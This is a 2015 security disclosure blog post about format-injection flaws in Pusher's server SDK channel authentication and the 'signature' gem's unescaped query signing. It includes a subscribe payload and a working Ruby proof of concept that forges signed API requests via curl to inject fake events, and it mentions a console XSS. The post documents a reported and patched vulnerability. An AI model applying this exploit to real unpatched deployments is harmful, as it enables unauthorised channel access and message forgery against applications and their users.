Specially crafted “socket_id” parameter could get us a valid auth for any private Pusher channel of your application and even forge any requests to Pusher API on behalf of your application if it has authentication endpoint for private channels (usally /pusher/auth).

Briefly about Pusher

Pusher is powering realtime communications and delivers over 40B messages each month. Publisher sends messages to different channels: “public-announcement”, “private-123-messages” etc. Users (mobile apps, web frontends etc) can subscribe to those channels.

Some channels are public, but most of the time clients need private channels to securely notify their users with messages like “John just sent you $10”.

Pusher gives you 3 config values: app_id = ‘99759’, key = ‘840543d97de9803651b1’ (public key of your access token), secret = ‘8897fad3dbbb3ac533a9’ (secret key to sign API requests and authenticate private channels)

Every time the user connects to Pusher’s websocket it responds with current socket_id (looks like 45031.26030316). If this user wants to subscribe to private channels (say, private-123 for user_id=123) they need to get signed “auth” object from the server side and pass it to Pusher. Normally it’s a POST request to /pusher/auth?socket_id=45031.26030316&channel=private-123

The server side code is supposed to use SDK. Example for Rails (they all look the same):

Pusher["private-#{current_user.id}"].authenticate(params[:socket_id])

returns

{"auth":"387954142406c3c9cc13:a50a2e82cc3f8ea384fde78b28b680fc3f2de4fb3f8c36e87b0cd6d698353ab3"}. Sending this token back to Pusher websocket will subscribe you to private-123 channel.

Format injection in authenticate(params[:socket_id])

Let’s take a closer look at signing process in SDKs and see classic Format Injection vulnerability:

def authenticate(socket_id, custom_data = nil)
  custom_data = MultiJson.encode(custom_data) if custom_data
  string_to_sign = [socket_id, name, custom_data].
    compact.map(&:to_s).join(':')
  token = @client.authentication_token
  digest = OpenSSL::Digest::SHA256.new
  signature = OpenSSL::HMAC.hexdigest(digest, token.secret, string_to_sign)
  r = {:auth => "#{token.key}:#{signature}"}
  r[:channel_data] = custom_data if custom_data
  r
end

It calculates HMAC of <socket_id>:<channel_name>(:<channel_data>) using API secret, and channel_data is optional 3rd parameter. In our case string to sign is 45031.26030316:private-123. Name of the channel is strictly validated, but socket_id coming directly from user input is inserted as is. Therefore sending socket_id=45031.26030316:private-1 gets us a signature of 45031.26030316:private-1:private-123.

With this signature we can subscribe to private-1 or any other channel, sending the last part private-123 of string-to-sign in channel_data parameter (which comes in really handy because Pusher doesn’t verify if it’s valid JSON).

{"event":"pusher:subscribe","data":{"auth":"387954142406c3c9cc13:a50a2e82cc3f8ea384fde78b28b680fc3f2de4fb3f8c36e87b0cd6d698353ab3","channel":"private-1","channel_data":"private-123"}}

Pusher verifies the token for private-1 by computing HMAC of socket_id=45031.26030316 + channel_name=private-1 + channel_data=private-123 and it is equal one we have for socket_id=45031.26030316:private-1 + channel_name=private-123

This is how we can subscribe to arbitrary private channel of vulnerable Pusher client. But it’s only the beginning of the story.

API requests also use HMAC

Pusher documentation says you need to provide key:secret pair in your configuration Pusher.url = "https://840543d97de9803651b3:8897fad3dbb53ac533a9@api.pusherapp.com/apps/99759" but in fact since https:// is preferred (performance reasons, I guess) SDKs never send the secret in plain text and use a home-baked “signature” gem instead.

That gem signs payloads the same way, with HMAC and API secret.

Abusing authenticate(user_input) to sign malicious API requests

Technically, every client with Pusher[‘channel’].authenticate on the backend can sign arbitrary string for you. The signature gem uses following format: [request.method, request.path, request.query_string].join(“\n”).

POST
/apps/99759/events
auth_key=840543d97de9803651b1&auth_timestamp=1431504423&auth_version=1.0&body_md5=90e26738bad6c25794e97e2ca92bd7b1

Unfortunatelly method “authenticate” appends the name of the channel so we only can get a signature of following string:

POST
/apps/99759/events
auth_key=840543d97de9803651b1&auth_timestamp=1431504423&auth_version=1.0&body_md5=90e26738bad6c25794e97e2ca92bd7b1:private-123

At first glance it looks like a serious obstacle, : is supposed to be URL encoded in query strings as %3A. There’s no way to get this exact string_to_sign on Pusher server side… Oh wait.

“signature” library does not encode query parameters

There’s another subtle vulnerability in “signature” gem - it intentionally ignores URL encoding, no idea why.

def string_to_sign
  [@method, @path, parameter_string].join("\n")
end

def parameter_string
  param_hash = @query_hash.merge(@auth_hash || {})

  # Convert keys to lowercase strings
  hash = {}; param_hash.each { |k,v| hash[k.to_s.downcase] = v }

  # Exclude signature from signature generation!
  hash.delete("auth_signature")

  hash.sort.map do |k, v|
    QueryEncoder.encode_param_without_escaping(k, v)
  end.join('&')
end

This gem might be used in other projects so this is another vulnerability: if the attacker manages to eavesdrop/MitM a request with user input in some parameter message=%26parameter%3D0%26another_parameter%3D1, the same signature will be valid for message=&parameter=0&another_parameter=1 thus any parameters in the signed payload can be added or tampered with. Encoding is no joke.

Alright, since we know Pusher does not URL encode the query string, we can simply hide the last “:private-123” part in some dummy parameter and send it as a part of the query &dummy=:private-123. Here is my proof of concept.

require 'digest'
require 'pusher'

auth_key = '840543d97de9803651b1'
path = "/apps/99759/events"
body = '{"data":"{\"message\":\"FAKE EVENT\"}","name":"my_event","channel":"test_channel"}'
dummy_channel = 'test_channel'

md5 = Digest::MD5.hexdigest(body) # for body integrity
stamp = Time.now.to_i # must be within 600 seconds of Pusher time

# Now lets obtain a signature for crafted socket_id
# This is server side of the victim
params = {
  socket_id: "POST\n#{path}\nauth_key=#{auth_key}&auth_timestamp=#{stamp}&auth_version=1.0&body_md5=#{md5}&dummy=",
  channel: dummy_channel
}
Pusher.url = "https://api.pusherapp.com/apps/99759"
Pusher.key = auth_key
Pusher.secret= '8897fad3dbbb3ac533a9'
token = Pusher['test_channel'].authenticate(params[:socket_id]) if params[:channel] == 'test_channel'

# We only need last part of auth token
sign = token[:auth].split(':')[1] 
x=<<CURL
curl "https://api.pusherapp.com#{path}?body_md5=#{md5}&auth_version=1.0&auth_key=#{auth_key}&auth_timestamp=#{stamp}&auth_signature=#{sign}&dummy=:#{dummy_channel}" -H 'Content-Type: application/json' -d '#{body}' 
CURL
system(x)

Using this PoC we can get a list of public/private channels of the victim and send any fake data to those channels. See REST documentation for other endpoints.

Getting XSS on pusher.com using… Pusher

This one is just for fun.

Thinking of what harm can be done with malicious fake messages beyond phishing, I tried to find some Universal XSS and thoroughly reviewed pusher.js, but discovered nothing like that. However, there’s special Console for debugging on pusher.com which doesn’t sanitize log.type before inserting in HTML.

Timeline:

May 8 - the bug was reported to Pusher

May 14 - they fixed SDK libraries and server side was patched to block forged signatures.

If you’re using standalone product like slanger (open source implementation of pusher) - update SDK/slanger/both asap.

Previous posts about format injections: Format Injection Vulnerability in Duo Security Web SDK, How “../sms” could bypass Authy 2 Factor Authentication

May 8, 2015 • Egor Homakov (@homakov)